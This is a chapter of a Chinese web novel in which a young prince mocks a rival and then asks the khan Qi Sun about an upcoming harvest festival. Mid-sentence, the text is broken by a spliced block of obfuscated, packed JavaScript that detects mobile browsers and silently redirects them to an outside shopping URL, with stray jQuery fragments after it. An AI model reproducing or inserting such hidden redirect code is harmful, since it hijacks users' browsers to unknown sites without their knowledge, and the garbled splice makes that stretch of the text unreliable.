齐隼经常不懂时今熠的想法,这会也是,前几天还在生气,甚至前几句话还在倒打一耙,这会又高兴起来。
“你不怕我?”
若是这人多长点心眼就会发现,那些大臣从未靠得近过,每个人都离他一丈远,即便是最亲近的侍卫,也在几步远外。稍微一想,大概就能猜到是什么意思。
可这人像是看不懂一般,总是越过界限来到他身边。
“怕什么?”时今熠爽得不行,乍一听齐隼这么问,还没反应过来,愣愣地跟着反问道。
“看见那些大臣没有?都怕我突然发疯杀了他们。”齐隼慢条斯理地说,眼神静静落在时今熠的脸上,看对方随着他的话语转头,看向那群人,而后又呆呆地转回来。
“哦。”时今熠的表情没什么不同,看完便抬头朝他眨眨眼,做贼似得凑上来,“那你现在会发疯吗?”
齐隼没说话,忽然笑了下,“谁知道呢。”
时今熠是没见过齐隼发疯的样子,见对方笑了,还以为是对方在开玩笑。
“那他们很胆小,我胆大。”时今熠拍拍胸脯道。
齐隼对此没有发表意见,瞟了几眼对方神采飞扬的神情后,撇开头嗤了声。
“你笑什么?!”时今熠被这人的尾调喉头一哽,嚷嚷着要给个说法。
齐隼被闹得耳朵疼,偏偏这人毫无察觉。若是他严肃些,这人闹得就更厉害。他刚答应了赵将军,总不能转头就把人皇子的嘴巴给封住了。
“没什么。”他丢下这句,抬脚往营帐走去。
送别结束,齐隼要回主帐上朝,时今熠与他并不同路,他看着前方健步如飞的身影,气得叉腰。路上,苍衍拦住了他。
阿砚认识他,见人不怀好意,唰得一下挡在时今熠面前,警惕地盯着。
相对于阿砚这副如临大敌的样子,时今熠见到人,本就生气的性子,这会更是火冒三丈。他扬起眉梢,双手环胸昂首,“呦,这不是我的手下败将吗?怎么,还是不服气?”
苍衍简直要被眼前这人小人得志的样子给气死了!分明是时今熠自己同意的赛马,后来也是对方想中途溜走,他才甩鞭子。这人自己吹牛说骑马厉害,结果真上场了才发现对方压根不会骑!
不会骑一开始不会说吗!
苍衍恨得牙痒痒,听说对方因为骑马受伤后,他还笑了好几声,虽然最后被他爹揍得趴在地上吐血,但是也算是值了。
本来今天是想来看看时今熠大靠山走了,看这人怎么办。没成想,这人又又又赖上了他家可汗!
上回就是这样,仗着他家可汗的威势嘲笑他。也就是可汗顾及着大周,这才去救人。本就两清的事,这回又是这副嘴脸!什么不服不服的,不知道得还以为真他骑马赢下了比赛!
连马都不会骑,这人到底在猖狂得意什么?
苍衍瞪着时今熠,“你别太猖狂了!你们大周的人都走了,看以后谁会护着你!”
时今熠被吼了照样乐呵呵得,在他看来没有比这更爽的时候了!对方以为他没有靠山了,实则呢!实则呢!
对方最崇拜的可汗,可是他的好兄弟呢!
时今熠想到这个就忍不住仰天长笑,但为了装,还是忍住不笑,一副老成的样子看着眼前人。
苍衍因为受伤脊背弯着,头发凌乱垂落,本就年纪不大,如今这么看更是显得弱小。偏偏对方还有些偏执,看向他的眼睛里冒着火光。
啧啧啧。
这不是胡闹吗?
时今熠莫名有一种当长辈看小辈的错觉,看向苍衍的目光里不由添上一些怜爱。
这种目光又给苍衍气得呕血,时今熠脑子到底是怎么长得?凭什么用那种眼睛看他啊?
“你别得意!过几天千谷节,那些族长可不是好惹的!”苍衍说到这里,语气忽然上扬,一扫刚才的愤懑,“他们若是看见你......”
尾调的话苍衍没说明白,但看上去不是什么好事。时今熠压根不知道千古节到底是什么,可这并不妨碍他嘲讽。
“哦,这和你这个手下败将有什么关系?”时今熠双手环胸,歪着脑袋,“你的屁股还好吗?”
苍衍被噎得踉跄,恨得咬住唇。时今熠看向他的目光带着怜悯,好似他在无理取闹一般。
“你!”
时今熠嗯哼声,随后看见这人气得脸蛋通红随时要厥过去的样子,心底微微摇头。就这个心理素质还和他来叫板,他可是在上书房力战三位太傅最后成为唯一一个没有背书还没有打手掌心的人!
想到这,时今熠啧啧两声,未免因为自己的聪明才智而感到骄傲。
“玩去吧玩去吧。”时今熠摆摆手,赶小狗似得。
苍衍气得双眼通红,却又说不出什么中原话来反驳!第一次有点后悔没有努力学习中原话,让他在这时候败下阵来。
时今熠没有再看苍衍的脸色,而是甩着马尾绕过他离开。离开时脸上风淡云轻,眼角微扬。
这场不见硝烟的战斗不出几句话兀然结束,简直闪瞎了阿砚的眼睛,他就在一边亮晶晶地看着自家少爷。
他家少爷也太厉害了!!!
几句话就把对方说得说不出话!甚至气到眼睛通红也不敢做什么!
实力!
这就是实力!
阿砚骄傲地挺起胸膛,雄赳赳气昂昂地跟在少爷身后,路过苍衍的时候还用鼻子醒了下他!
哼!
现在知道他家少爷的厉害了吧!
只是没成想彻底将苍衍甩在后面后,他家少爷火速凑到自己旁边,小心翼翼地问。
“千谷节是什么?”
阿砚:......
也是高估了。
两人都是刚来到这,自然不知道千谷节是什么。但是听苍衍的意思,千谷节对他们来说好像不是什么好节日。
但是他们不知道,齐隼还能不知道吗?
时今熠醒了醒鼻子,等他,等他回去换件衣服再去问人!
时今熠回到营帐里,把自己裹得严实许多,又待着吃了顿饭,这才慢慢悠悠往齐隼那边走。
拓跋族的营地遍地都是营帐,饶是已经走过几次,再深处其中还是偶尔有种会迷路的错觉。他四处瞧着,发现不少拓跋族人正冒着头看他,有几个面生的瞧见他在看人。
这群人身量极高,皮肤黝黑,也就是因为眉眼比较浅显得年龄小。这些小青年凑在一起,嘻嘻哈哈地朝他笑,还有甚者和他打招呼的。
时今熠不懂他们的语言,除去齐隼和他身边几位中原话说得不错外,其余人说话他当鸟语听了。
他昂着脑袋,没半点不好意思,反而挺直脊背往前。
他来的时候正巧散朝,那些大臣们陆陆续续走出来,看见他也不觉惊讶,只暗含着点看不懂的意味,他还未看清对面便低着头快步离开。
时今熠低头扫视了眼自己的穿着,也没觉得哪里不对。就是比平常打扮得更加光彩夺目了,一点点点点点而已啊。
真没见识!
他撇撇嘴,却又抑制不住弯起嘴角,三蹦两跳地走过去。
齐隼那边刚上完朝,正喝着水,外头忽然响起熟悉的声音来。
“齐隼,齐隼!我来了!”
那盏水还未咽下,厚重的帘子就被重新拉起,穿着明黄色袍子的时今熠就像只蝴蝶一般从外头飞进来,扑哧扑哧地落在旁边。
“你忙完了?”
齐隼放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779285|210077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
茶盏,轻嗯了声,不明所以地看了眼旁边这人。
“那太好了!”响亮的声音响起,转眼白净如玉的脸上闪过愤怒的绯红。“你是不知道,我刚才走在回去的路上,又被那个人给堵住了!”
“他不仅瞪着我,还威胁我呢!”
时今熠插着腰,身临其境地表演了一番对方的行为动作后,忽然转头问。
“所以千谷节,到底是什么?”
齐隼把茶盏挪开,还未说话呢。不远处站着的卓克便跃跃欲试,急不可耐地说。
“千谷节是塔族冬日前最重要的节日,是为了欢庆这一年族人们从草原得到的粮食,感恩狼神的给予。这里是拓跋族的老地,每年都是在这里举办。
每到这个节日,十八部落的首领们都会过来庆贺。今年是可汗上位的第一个千谷节,本应该格外盛大。”
说到这里,卓克瞥了眼齐隼,小声说:“但是可汗不喜欢兴师动众,简化了不少。”
时今熠听完这些,茫然地眨眨眼,“那不就是和大周的万寿节差不多吗?”
“差太多了!”
卓克还要继续,忽见齐隼扫了眼他,分明是极淡的眼神,但他还是不可避免立刻低头错开,脸色一白不敢再说。
“差哪里了?”时今熠问,结果说话那人已经不吭声了。他皱着眉转头,“他怎么不说话了?”
齐隼没回应,时今熠也不觉得什么,只是想到苍衍那样的语气,还真有点生气,“那些族长真会把我怎么样?”
齐隼的眼睛扫过对方起伏的胸膛,淡淡说,“不必管他们。”
千谷节不过是个托词,那些人本就打算来的。倒是苍衍,那天他只是叫人彻查了一遍草场,无非就是想让其他人知道马匹有问题。那会惩罚还没说,苍衍就被打了个吐血。
本以为长了记性,没想到还是没脑子。
齐隼早有考量,时今熠只管待着就行了。
“那你是不是比他们更厉害?”时今熠凑过去问,语气中带着点怂恿的味道,“那我是不是比他们高一大截?”
齐隼回过头,对上时今熠跃跃欲试的眼睛,稍稍一想就知道这人又想嘚瑟了。
“嗯。”不过他还是肯定,这种事也没必要撒谎。虽说他并不把时今熠当自己的妻子,但名义上对方不仅是大周的皇子,也是拓跋族的王妃。
自然要比那些所谓的长老高出一大截。
“耶耶耶!我就知道!”时今熠高兴地蹦起来,整个人都扑过去要抱住齐隼的肩膀。
时今熠在京城就经常这么干,高兴兴奋的时候就喜欢和人接触,父皇和姐姐老说他比猫还黏人。
齐隼上一瞬间还只听见时今熠高兴的清脆声音,下一瞬一股甜腻的香味就粘在他的身上,温热细弱的胳膊环绕在他的肩膀。
他愣了瞬,双眸微睁。时今熠太瘦小,扑过来的时候根本无法撼动齐隼分毫,甚至整个人搁过来时,看上去还没有齐隼半边身子大。
“齐隼,我好高兴啊!那我就是第一了!”时今熠乐得不行,“那个苍衍,还以为族长来了就能把我怎么样,实则呢!”
时今熠松开双臂,双手叉腰仰头大笑,“我才是老大啊!!!”
身上的人骤然离开,齐隼有瞬间落空,心底霎时间被那股黏腻热风惹得不太舒服,连带着手臂一阵痒意,胸膛里的蛊虫更是蠢蠢欲动。
他到现在还是不能理解时今熠这种随随便便靠近人的行为,他抬手按住穴位,捞过旁边的药丸咽下压制。
“诶?”正高兴的时今熠看见齐隼竟然背着他吃东西,瞪大眼睛又凑过去,“你瞒着我吃什么好东西呢?”
“是不是兄弟,还吃独食!”
“......”